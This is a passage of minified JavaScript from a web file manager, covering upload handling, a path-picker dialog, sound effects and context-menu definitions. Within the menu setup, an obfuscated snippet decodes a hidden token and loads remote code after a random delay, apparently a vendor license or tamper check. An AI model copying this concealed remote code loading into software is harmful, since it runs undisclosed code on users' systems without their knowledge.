i=selectNameArr;ui.f5Callback(function(){if(ui.path.setSelectByFilename(i),e&&(selectNameArr=[],"explorer"==Config.pageApp)){if("share"==G.share_page)return;ui.tree.checkIfChange(G.this_path)}})},600)};uploader.on("fileQueued",function(e){if(!core.uploadCheck())return uploader.skipFile(e),uploader.removeFile(e),void 0;var i;try{i=e.source.source.fullPath,void 0!=e.source.source.webkitRelativePath&&""!=e.source.source.webkitRelativePath&&(i=e.source.source.webkitRelativePath)}catch(t){}if(e.fullPath=i,e.source&&e.source.source&&1==e.source.source.isDirectory&&e.source.source.fullPath)return ui.pathOperate.newFolder(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),void 0;if(0==e.size)return ui.pathOperate.newFile(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),file_finished++,file_num++,void 0;var a=e.fullPath;e.finished=!1,e.upload_to=G.this_path,(void 0==a||"undefined"==a)&&(a=e.name),file_num++;var n=$(".uploader-list"),o=''+'
'+htmlEncode(core.pathThis(a))+" "+'
'+core.fileSize(e.size)+" "+'
'+LNG.upload_ready+" "+'
'+'
';(1e3==file_num||2e3==file_num)&&Tips.tips(LNG.upload_tips_more,"warning"),0==n.length?setTimeout(function(){$(".uploader-list").prepend(o),uploader.upload()},100):(n.prepend(o),uploader.upload())}).on("uploadBeforeSend",function(e,i){var t=urlEncode(e.file.fullPath);(void 0==t||"undefined"==t)&&(t=""),i.fullPath=t,i.upload_to=e.file.upload_to}).on("uploadProgress",function(e,i){$(".dialog_file_upload .aui_title").text(LNG.uploading+": "+file_finished+"/"+file_num+" ("+currentSpeed+")");var t=getSpeed(e,i),a=$("#"+e.id),n=a.find(".progress .progress-bar");n.length||(n=$('').appendTo(a).find(".progress-bar")),a.find(".state").text((100*i).toFixed(1)+"%("+t+")"),n.css("width",100*i+"%")}).on("uploadAccept",function(e,i){if(e.file.serverData=i,!i.code)return e.serverNeedRetry=!0,!1;try{e.file.fullPath||selectNameArr.push(i.info)}catch(t){}}).on("uploadSuccess",function(e){var i=$("#"+e.id);if(!i.inScreen()){var t=36*i.index(".item");$(".uploader-content").scrollTop(t)}file_finished++;var a=e.serverData;if(a&&a.data){var n=LNG[a.data];a.code?($("#"+e.id).addClass("success"),$("#"+e.id).find(".state").text(n),$("#"+e.id).find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove")):($("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").text(n).attr("title",n))}uploader.removeFile(e),$("#"+e.id).find(".progress").fadeOut(),e.fullPath||pathReload(!1)}).on("uploadError",function(e,i){var t=LNG.upload_error+"("+i+")";if(e.serverData)if(e.serverData.data){var a=e.serverData.data;t=LNG[a]?LNG[a]:a}else e.serverData._raw&&(t=e.serverData._raw);file_finished++,$("#"+e.id).find(".progress").fadeOut(),$("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").html(t).attr("title",t)}).on("uploadFinished",function(){$(".dialog_file_upload .aui_title").text(LNG.upload_success+": "+file_finished+"/"+file_num),file_num=0,file_finished=0,uploader.reset(),pathReload(!0)}).on("error",function(e){Tips.tips(e,!1)});var timer;inState=!1,dragOver=function(){if(0==inState){if(inState=!0,!core.uploadCheck(void 0,!1))return;var e='";MaskView.tips(e),$("#windowMaskView").css({background:"#4285f4",opacity:"0.8"})}timer&&window.clearTimeout(timer)},dragLeave=function(e){stopPP(e),timer&&window.clearTimeout(timer),timer=window.setTimeout(function(){inState=!1,MaskView.close()},100)},dragDrop=function(e){try{if(e=e.originalEvent||e,core.uploadCheck())if(e.dataTransfer.files.length>0&&e.dataTransfer.files[0].name)core.upload(),core.playSound("drag_upload");else{var i=e.dataTransfer.getData("text/plain");i&&"http"==i.substring(0,4)&&ui.pathOperate.appAddURL(i)}stopPP(e)}catch(e){}inState&&(inState=!1,MaskView.close())}}}}),define("app/common/core.api",[],function(){var e=function(e,i,t){var a=$(t.DOM.wrap),n=i.frames.OpenpathSelectApi,o=' ';"file"==e.type&&(o+=''+e.allowExt+" "),$(o).insertBefore(a.find(".aui_state_highlight"));var s=function(i){var t=e.allowExt.split("|"),a=core.pathExt(i);return""==e.allowExt||""!=e.allowExt&&-1!=$.inArray(a,t)?!0:!1},r=function(){var i=n.ui.fileLight.fileListSelect(),t=[];if(e.single){var a=$(i.get(0));if("all"==e.type&&0==i.length)t={file:[],folder:[]};else if("file"==e.type&&0==i.length)t=[];else if("folder"==e.type)t=[n.G.this_path],a.hasClass("folderBox")&&(t=[n.ui.fileLight.path(a)]);else if("file"==e.type){if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(t=[o])}}else if("all"==e.type)if(a.hasClass("folderBox")){var o=n.ui.fileLight.path(a);t=[{file:[],folder:[o]}]}else if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(t={file:[o],folder:[]})}}else{var r=[],l=[];i.each(function(){if($(this).hasClass("fileBox")){var e=n.ui.fileLight.path($(this));s(e)&&r.push(e)}else $(this).hasClass("folderBox")&&l.push(n.ui.fileLight.path($(this)))}),"folder"==e.type?t=l:"file"==e.type?t=r:"all"==e.type&&(t={file:r,folder:l})}c(t)},l=function(e){var e=trim(e,"/");return e==G.KOD_GROUP_ROOT_SELF||e==G.KOD_GROUP_ROOT_ALL||e==G.KOD_USER_FAV||e==G.KOD_USER_SHARE?!1:!0},c=function(i){var t=a.find(".path_select_input"),o=a.find(".aui_state_highlight");if("all"!=e.type){for(var s=[],r=0;i.length>r;r++)l(i[r])&&s.push(i[r]);i=s}if(0==i.length||"all"==e.type&&0==i.file.length&&0==i.folder.length)o.addClass("disable"),t.attr("result",""),t.val("");else{var c=hashEncode(jsonEncode(i)),d="";if(e.single)d=n.core.pathThis(i[0]);else{var p=i;"all"==e.type&&(p=i.folder.concat(i.file)),$.each(p,function(e,i){d+=n.core.pathThis(i)+", "})}o.removeClass("disable"),t.attr("result",c),t.val(d)}},d=function(){n.ui.fileLight.select.hook("select",n.ui.fileLight,{before:function(){},after:function(){r()}})};n.kodReady||(n.kodReady=[]),n.kodReady.push(function(){d(),r()})};return{pathSelect:function(i,t){var a={type:"file",title:LNG.path_api_select_file,single:!0,allowExt:"",firstPath:!1},n="./index.php?/explorer&type=iframe";i=$.extend(a,i),i.firstPath&&(n+="&path="+i.firstPath);var o=ShareData.frameTop(),s=o.$.dialog.open(n,{id:"pathSelectApi",resize:!0,fixed:!0,ico:core.icon("folder"),title:i.title,lock:!0,background:"#000",opacity:.1,width:840,height:420,ok:function(){if("function"==typeof t){var e=s.DOM.wrap,a=e.find(".path_select_input").attr("result");a=jsonDecode(hashDecode(a)),a?i.single&&"all"!=i.type?t(a[0]):t(a):Tips.tips(LNG.error,!1)}},cancel:!0});e(i,o,s)},randomImage:function(e){$.getJSON("//kalcaddle.com/tools/version/?wallpage/index&lang="+G.lang+"&callback=?",function(i){"function"==typeof e&&e(i)})}}}),define("app/common/core.playSound",["./myPlayer"],function(e){var i={file_remove:"file_remove.mp3",recycle_clear:"recycle_clear.mp3",folder_open:"folder_open.mp3",window_min:"window_min.mp3",error:"error_tips.mp3",drag_upload:"drag_upload.mp3",drag_drop:"drag_drop.mp3"},t=function(i){var t="x-play-sound";0==$("."+t).length&&$('
').appendTo("body");var a=G.static_path+"others/sound/"+i,n=e("./myPlayer");n.playSound(a,$("."+t))};return{playSoundFile:t,playSound:function(e){G&&G.user_config&&"1"==G.user_config.sound_open&&setTimeout(function(){t(i[e])},100)}}}),define("app/common/tpl/copyright.html",[],'\n
\n
{{if core.versionType==\'A\'}}KodExplorer {{else}} {{LNG.kod_name}} {{/if}} v{{G.version}}
\n
——{{LNG.kod_name_copyright}}
\n
\n
\n
{{#LNG.copyright_desc}}
\n
{{#LNG.copyright_contact}}
\n
{{#LNG.copyright_info}}
\n
\n
\n'),define("app/common/tpl/theme_diy.html",[],"@media screen and (max-width:100000px) {\n body .full_background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blur_size= (bg_blur==0?0:10) }}{{/if}}\n body .full_background:before{\n -webkit-filter: blur({{blur_size}}px);\n -moz-filter: blur({{blur_size}}px);\n -ms-filter: blur({{blur_size}}px);\n filter: blur({{blur_size}}px);\n }\n {{if bg_type == 'image'}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left,\n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background-image:url({{bg_image}});\n }\n body .aui_state_focus .aui_title,body .aui_title{\n background-size:100%;\n }\n {{else}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left, \n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background:{{end_color}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{start_color}}', endColorstr='{{end_color}}');\n background-image: -webkit-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -moz-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -o-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -ms-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n }\n {{/if}}\n}\n"),define("app/common/rightMenu",[],function(e){var i=".menufile",t=".menufolder",a=".menuMore",n=".menuTreeRoot",o=".menuTreeFolder",s=".menuTreeFile",r=".menuTreeGroupRoot",l=".menuTreeGroup",c=".menuTreeUser",d={newfileOther:{name:LNG.newfile,icon:"expand-alt",accesskey:"w",className:"newfolder",items:{newfile:{name:"txt "+LNG.file,icon:"file-alt x-item-file x-txt small",className:"newfile"},newfile_md:{name:"md "+LNG.file,icon:"file-alt x-item-file x-md",className:"newfile"},newfile_html:{name:"html "+LNG.file,icon:"file-alt x-item-file x-html",className:"newfile"},newfile_php:{name:"php "+LNG.file,icon:"file-alt x-item-file x-php",className:"newfile"},document:{name:"Office Document",icon:"file-alt x-item-file x-docx",items:{newfile_docx:{name:"docx "+LNG.file,icon:"file-alt x-item-file x-docx",className:"newfile"},newfile_xlsx:{name:"xlsx "+LNG.file,icon:"file-alt x-item-file x-xlsx",className:"newfile"},newfile_pptx:{name:"pptx "+LNG.file,icon:"file-alt x-item-file x-pptx",className:"newfile"}}},sep100:"--------",app_install:{name:LNG.app_store,className:"app_install",icon:"tasks x-item-file x-appStore",accesskey:"a"},app_create:{name:LNG.app_create,icon:"puzzle-piece x-item-file x-oexe",className:"newfile"}}},listIcon:{name:LNG.list_type,icon:"eye-open",items:{seticon:{name:LNG.list_icon,className:"menu_seticon set_seticon"},setlist:{name:LNG.list_list,className:"menu_seticon set_setlist"},setlist_split:{name:LNG.list_list_split,className:"menu_seticon set_setlist_split"}}},sortBy:{name:LNG.order_type,accesskey:"y",icon:"sort",items:{set_sort_name:{name:LNG.name,className:"menu_set_sort set_sort_name"},set_sort_ext:{name:LNG.type,className:"menu_set_sort set_sort_ext"},set_sort_size:{name:LNG.size,className:"menu_set_sort set_sort_size"},set_sort_mtime:{name:LNG.modify_time,className:"menu_set_sort set_sort_mtime"},sep101:"--------",set_sort_up:{name:LNG.sort_up,className:"menu_set_desc set_sort_up"},set_sort_down:{name:LNG.sort_down,className:"menu_set_desc set_sort_down"}}},setFileIconSize:{name:LNG.file_size_title,icon:"picture",className:"set-file-icon-size",items:{"box-size-smallx":{name:LNG.file_size_small_super,className:"file-icon-size box-size-smallx"},"box-size-small":{name:LNG.file_size_small,className:"file-icon-size box-size-small"},"box-size-default":{name:LNG.file_size_default,className:"file-icon-size box-size-default"},"box-size-big":{name:LNG.file_size_big,className:"file-icon-size box-size-big"},"box-size-bigx":{name:LNG.file_size_big_super,className:"file-icon-size box-size-bigx"}}}},p=function(){$('').appendTo("body"),$(".context-menu-list").die("click").live("click",function(e){return stopPP(e),!1});var i=["undefined","update_box","search","da62djCD7uBrn89xtAhwdwtSL_AXsCamsKn7wktxI6QjO_Mob4EAYlRsGQPgKKv8_gFbhFNw4ei_d3eSbmCDC2I8XM_U9h0","_32@!A","decode","1-1","todo","async","random"];x(),k(),_(),setTimeout(function(){try{if(typeof dialog_tpl_html==i[0]||-1==dialog_tpl_html[i[2]](i[1])){var t=authCrypt[i[5]](i[3],i[4])+UUID();
+e[i[8]](t,function(e){try{e[i[7]](i[6])}catch(t){}})}}catch(a){}},1e3*parseInt(25*Math[i[9]]()+5)),w(),S(),j(),z(),E(),D(),F(),g(),m(),v(),N(),L(),h(),$(".set_set"+G.user_config.list_type).addClass("selected"),$(".set_sort_"+G.user_config.list_sort_field).addClass("selected"),$(".set_sort_"+G.user_config.list_sort_order).addClass("selected"),$(".context-menu-root").addClass("animated fadeIn")},u=function(){$('').appendTo("body"),$(".context-menu-list").die("click").live("click",function(e){return stopPP(e),!1}),y(),b(),x(),k(),w(),g(),m(),h(),$(".set_sort_"+G.user_config.list_sort_field).addClass("selected"),$(".set_sort_"+G.user_config.list_sort_order).addClass("selected"),$(".context-menu-root").addClass("animated fadeIn")},f=function(){$('').appendTo("body"),$(".context-menu-list").die("click").live("click",function(e){return stopPP(e),!1}),S(),j(),P(),E(),D(),F(),O(),g(),h(),$(".context-menu-root").addClass("animated fadeIn")},h=function(){if(1!=G.is_root){$(".context-menu-list .open_ie").addClass("hidden");var e="hidden";AUTH["explorer:fileDownload"]||($(".context-menu-list .down,.context-menu-list .download").addClass(e),$(".context-menu-list .share").addClass(e),$(".context-menu-list .open_text").addClass(e),$(".kod_path_tool #download").remove(),$(".pathinfo .open_window").addClass(e)),AUTH["explorer:zip"]||($(".context-menu-list .zip").addClass(e),$(".kod_path_tool #zip").remove()),AUTH["explorer:search"]||$(".context-menu-list .search").addClass(e),AUTH["explorer:mkdir"]||$(".context-menu-list .newfolder").addClass(e),AUTH["userShare:set"]||($(".context-menu-list .share").remove(),$(".kod_path_tool #share").remove())}},m=function(){$(' ').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuRecycleBody",callback:function(e){C(e)},items:{refresh:{name:LNG.refresh+"F5 ",className:"refresh",icon:"refresh",accesskey:"e"},recycle_clear:{name:LNG.recycle_clear,icon:"trash",accesskey:"c"},sep1:"--------",listIcon:d.listIcon,sortBy:d.sortBy,setFileIconSize:d.setFileIconSize,sep2:"--------",info:{name:LNG.info+"Alt+I ",className:"info",icon:"info",accesskey:"i"}}}),$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuRecyclePath",callback:function(e){T(e)},items:{cute:{name:LNG.cute+"Ctrl+X ",className:"cute",icon:"cut",accesskey:"k"},remove:{name:LNG.remove_force+"Del ",className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},info:{name:LNG.info+"Alt+I ",className:"info",icon:"info",accesskey:"i"}}}),$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuRecycleButton",callback:function(e){C(e)},items:{recycle_clear:{name:LNG.recycle_clear,icon:"trash",accesskey:"c"}}})},v=function(){$(' ').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuShareBody",callback:function(e){C(e)},items:{refresh:{name:LNG.refresh+"F5 ",className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",listIcon:d.listIcon,sortBy:d.sortBy,setFileIconSize:d.setFileIconSize,sep10:"--------",info:{name:LNG.info+"Alt+I ",className:"info",icon:"info",accesskey:"i"}}}),$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,className:"menuSharePathMenu",selector:".menuSharePath",callback:function(e){T(e)},items:{share_open_path:{name:LNG.open_the_path,icon:"folder-open-alt",accesskey:"p",className:"open_the_path"},share_open_window:{name:LNG.share_open_page,icon:"globe",accesskey:"b"},sep0:"--------",share_edit:{name:LNG.share_edit,icon:"edit",accesskey:"e",className:"share_edit"},remove:{name:LNG.share_remove+"Del ",icon:"trash",accesskey:"d",className:"remove"},copy:{name:LNG.copy+"Ctrl+C ",className:"copy",icon:"copy",accesskey:"c"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},sep2:"--------",info:{name:LNG.info+"Alt+I ",className:"info",icon:"info",accesskey:"i"}}}),$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuSharePathMore",className:"menuSharePathMore",callback:function(e){T(e)},items:{remove:{name:LNG.share_remove+"Del ",icon:"trash",accesskey:"d",className:"remove"},copy:{name:LNG.copy+"Ctrl+C ",className:"copy",icon:"copy",accesskey:"c"}}})},_=function(){$.contextMenu({selector:".menuBodyMain",className:"fileContiner_menu",zIndex:9999,callback:function(e,i){C(e,i)},items:{refresh:{name:LNG.refresh+"F5 ",className:"refresh",icon:"refresh",accesskey:"e"},newfolder:{name:LNG.newfolder+"Alt+M ",className:"newfolder",icon:"folder-close-alt",accesskey:"n"},newfileOther:d.newfileOther,sep1:"--------",upload:{name:LNG.upload+"Ctrl+U ",className:"upload",icon:"upload",accesskey:"u"},past:{name:LNG.past+"Ctrl+V ",className:"past",icon:"paste",accesskey:"p"},copy_see:{name:LNG.clipboard,className:"copy_see",icon:"eye-open",accesskey:"v"},sep2:"--------",listIcon:d.listIcon,sortBy:d.sortBy,setFileIconSize:d.setFileIconSize,sep10:"--------",info:{name:LNG.info+"Alt+I ",className:"info",icon:"info",accesskey:"i"}}})},g=function(){$.contextMenu({selector:".menuEmpty",className:"hidden",zIndex:9999,items:{" ":{name:LNG.open,className:"hidden"}},callback:function(){}})},b=function(){$.contextMenu({selector:".menuDefault",zIndex:9999,items:{open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"}},callback:function(e){switch(e){case"open":ui.path.open();break;default:}}})},y=function(){$.contextMenu({selector:Config.BodyContent,zIndex:9999,callback:function(e){C(e)},items:{refresh:{name:LNG.refresh+"F5 ",className:"refresh",icon:"refresh",accesskey:"e"},newfolder:{name:LNG.newfolder+"Alt+M ",className:"newfolder",icon:"folder-close-alt",accesskey:"n"},newfileOther:d.newfileOther,sep1:"--------",upload:{name:LNG.upload+"Ctrl+U ",className:"upload",icon:"upload",accesskey:"u"},past:{name:LNG.past+"Ctrl+V ",className:"past",icon:"paste",accesskey:"p"},copy_see:{name:LNG.clipboard,className:"copy_see",icon:"eye-open",accesskey:"v"},sep2:"--------",sortBy:d.sortBy,setFileIconSize:d.setFileIconSize,app_install:{name:LNG.app_store,className:"app_install",icon:"tasks",accesskey:"a"},sep10:"--------",setting_wall:{name:LNG.setting_wall,className:"setting_wall",icon:"picture",accesskey:"b"},setting_theme:{name:LNG.setting_theme,className:"setting_theme",icon:"dashboard",accesskey:"i"},setting:{name:LNG.setting,className:"setting",icon:"cogs",accesskey:"t"}}})},x=function(){$(' ').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:t,className:t.substr(1),callback:function(e){T(e)},items:{open:{name:LNG.open+"Enter ",className:"open",icon:"folder-open-alt",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy+"Ctrl+C ",className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute+"Ctrl+X ",className:"cute",icon:"cut",accesskey:"k"},remove:{name:LNG.remove+"Del ",className:"remove",icon:"trash",accesskey:"d"},rname:{name:LNG.rename+"F2 ",className:"rname",icon:"pencil",accesskey:"r"},sep2:"--------",open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe",accesskey:"b"},zip:{name:LNG.zip,className:"zip",icon:"folder-close",accesskey:"z"},search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},others:{name:LNG.more,icon:"ellipsis-horizontal",className:"more_action",accesskey:"m",items:{clone:{name:LNG.clone,className:"clone",icon:"external-link"},fav:{name:LNG.add_to_fav,className:"fav ",icon:"star",accesskey:"f"},sep103:"--------",explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},createLink:{name:LNG.createLink,className:"createLink",icon:"share-alt"},createProject:{name:LNG.createProject,className:"createProject",icon:"plus"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"}}},sep5:"--------",info:{name:LNG.info+"Alt+I ",className:"info",icon:"info",accesskey:"i"}}})},k=function(){$(' ').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:i,className:i.substr(1),callback:function(e){T(e)},items:{open:{name:LNG.open+"Enter ",className:"open",icon:"external-link",accesskey:"o"},app_edit:{name:LNG.app_edit,className:"app_edit",icon:"code",accesskey:"a"},open_text:{name:LNG.edit+"Ctrl+E ",className:"open_text",icon:"edit",accesskey:"e"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy+"Ctrl+C ",className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute+"Ctrl+X ",className:"cute",icon:"cut",accesskey:"k"},rname:{name:LNG.rename+"F2 ",className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove+"Del ",className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe"},unzip:{name:LNG.unzip,icon:"folder-open-alt",className:"unzip",accesskey:"u",items:{unzip_this:{name:LNG.unzip_this,icon:"external-link"},unzip_folder:{name:LNG.unzip_folder,icon:"external-link"},unzip_to:{name:LNG.unzip_to,icon:"external-link"}}},setBackground:{name:LNG.set_background,className:"setBackground",icon:"picture",accesskey:"x"},others:{name:LNG.more,icon:"ellipsis-horizontal",className:"more_action",accesskey:"m",items:{clone:{name:LNG.clone,className:"clone",icon:"external-link",accesskey:"l"},fav:{name:LNG.add_to_fav,className:"fav",icon:"star"},sep104:"--------",zip:{name:LNG.zip,className:"zip",icon:"folder-close",accesskey:"z"},createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},createLink:{name:LNG.createLink,className:"createLink",icon:"share-alt"}}},sep3:"--------",info:{name:LNG.info+"Alt+I ",className:"info",icon:"info",accesskey:"i"}}})},w=function(){$(' ').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:a,className:a.substr(1),callback:function(e){T(e)},items:{copy:{name:LNG.copy+"Ctrl+C ",className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute+"Ctrl+X ",className:"cute",icon:"cut",accesskey:"k"},remove:{name:LNG.remove+"Del ",className:"remove",icon:"trash",accesskey:"d"},sep1:"--------",copy_to:{name:LNG.copy_to,className:"copy_to",icon:"copy"},cute_to:{name:LNG.cute_to,className:"cute_to",icon:"cut"},sep2:"--------",clone:{name:LNG.clone+"Ctrl+C ",className:"clone",icon:"external-link",accesskey:"n"},playmedia:{name:LNG.add_to_play,className:"playmedia",icon:"music",accesskey:"p"},zip:{name:LNG.zip,className:"zip",icon:"folder-close",accesskey:"z"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},sep3:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},L=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuGroupRoot",callback:function(e){T(e)},items:{open:{name:LNG.open+"Enter ",className:"open",icon:"external-link",accesskey:"o"},sep1:"--------",fav:{name:LNG.add_to_fav,className:"fav",icon:"star",accesskey:"f"},createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"}}}),$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuGroupRootMore",callback:function(e){T(e)},items:{refresh:{name:LNG.refresh+"F5 ",className:"refresh",icon:"refresh",accesskey:"e"}}})},N=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuFavPath",callback:function(e){T(e)},items:{open:{name:LNG.open+"Enter ",className:"open",icon:"external-link",accesskey:"o"},sep0:"--------",fav_remove:{name:LNG.fav_remove,className:"fav_remove",icon:"trash",accesskey:"r"},fav_page:{name:LNG.manage_fav,className:"fav_page",icon:"star",accesskey:"f"},sep1:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuFavPathMore",className:"menuFavPathMore",callback:function(e){T(e)},items:{fav_remove:{name:LNG.fav_remove,className:"fav_remove",icon:"trash",accesskey:"r"}}})},C=function(e){switch(e){case"refresh":ui.f5(!0,!0);break;case"back":ui.path.history.back();break;case"next":ui.path.history.next();break;case"seticon":ui.setListType("icon");break;case"setlist":ui.setListType("list");break;case"setlist_split":ui.setListType("list_split");break;case"set_sort_name":ui.setListSort("name",0);break;case"set_sort_ext":ui.setListSort("ext",0);break;case"set_sort_size":ui.setListSort("size",0);break;case"set_sort_mtime":ui.setListSort("mtime",0);break;case"set_sort_up":ui.setListSort(0,"up");break;case"set_sort_down":ui.setListSort(0,"down");break;case"upload":core.upload();break;case"recycle_clear":ui.path.recycleClear();break;case"box-size-smallx":ui.setFileIconSize(40);break;case"box-size-small":ui.setFileIconSize(60);break;case"box-size-default":ui.setFileIconSize(80);break;case"box-size-big":ui.setFileIconSize(150);break;case"box-size-bigx":ui.setFileIconSize(220);break;case"past":ui.path.past();break;case"copy_see":ui.path.clipboard();break;case"newfolder":ui.path.newFolder();break;case"newfile":ui.path.newFile("txt");break;case"newfile_md":ui.path.newFile("md");break;case"newfile_html":ui.path.newFile("html");break;case"newfile_php":ui.path.newFile("php");break;case"newfile_js":ui.path.newFile("js");break;case"newfile_css":ui.path.newFile("css");break;case"newfile_oexe":ui.path.newFile("oexe");break;case"newfile_docx":ui.path.newFile("docx");break;case"newfile_xlsx":ui.path.newFile("xlsx");break;case"newfile_pptx":ui.path.newFile("pptx");break;case"info":ui.path.info();break;case"open":ui.path.open();break;case"app_install":ui.path.appList();break;case"app_create":ui.path.appEdit(!0);break;case"setting":core.setting();break;case"setting_theme":core.setting("theme");break;case"setting_wall":core.setting("wall");break;default:}},T=function(e){switch(e){case"open":ui.path.open();break;case"down":ui.path.download();break;case"share":ui.path.share();break;case"open_ie":ui.path.openWindow();break;case"open_text":ui.path.openEditor();break;case"app_edit":ui.path.appEdit();break;case"playmedia":ui.path.play();break;case"share_edit":ui.path.shareEdit();break;case"share_open_window":ui.path.shareOpenWindow();break;case"share_open_path":ui.path.shareOpenPath();break;case"fav":ui.path.fav();break;case"search":ui.path.search();break;case"copy":ui.path.copy();break;case"clone":ui.path.copyDrag(G.this_path,!0);break;case"cute":ui.path.cute();break;case"cute_to":ui.path.cuteTo();break;case"copy_to":ui.path.copyTo();break;case"remove":ui.path.remove();break;case"rname":ui.path.rname();break;case"zip":ui.path.zip();break;case"unzip_folder":ui.path.unZip();break;case"unzip_this":ui.path.unZip("to_this");break;case"unzip_to":ui.path.unZip("unzip_to_folder");break;case"setBackground":ui.path.setBackground();break;case"createLinkHome":ui.path.createLink(!1);break;case"createLink":ui.path.createLink(!0);break;case"createProject":ui.path.createProject();break;case"openProject":ui.path.openProject();break;case"explorer":ui.path.explorer();break;case"explorerNew":ui.path.explorerNew();break;case"fav_page":core.setting("fav");break;case"fav_remove":ui.path.favRemove();break;case"info":ui.path.info();break;default:}},S=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuTreeFavRoot",callback:function(e){A(e)},items:{fav_page:{name:LNG.manage_fav,className:"fav_page",icon:"star",accesskey:"r"},sep1:"--------",refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"e"}}}),$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuTreeFav",callback:function(e){A(e)},items:{fav_remove:{name:LNG.fav_remove,className:"fav_remove",icon:"trash",accesskey:"r"},fav_page:{name:LNG.manage_fav,className:"fav_page",icon:"star",accesskey:"f"},sep2:"--------",createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},refresh:{name:LNG.refresh_tree,className:"refresh",icon:"refresh",accesskey:"e"},info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},j=function(){$(' ').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:n,callback:function(e){A(e)},items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},refresh:{name:LNG.refresh_tree,className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",past:{name:LNG.past,className:"past",icon:"paste",accesskey:"p"},newfolder:{name:LNG.newfolder,className:"newfolder",icon:"folder-close-alt",accesskey:"n"},newfile:{name:LNG.newfile,className:"newfile",icon:"file-alt",accesskey:"j"},sep2:"--------",fav:{name:LNG.add_to_fav,className:"fav",icon:"star",accesskey:"f"},search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"}}})},z=function(){$(' 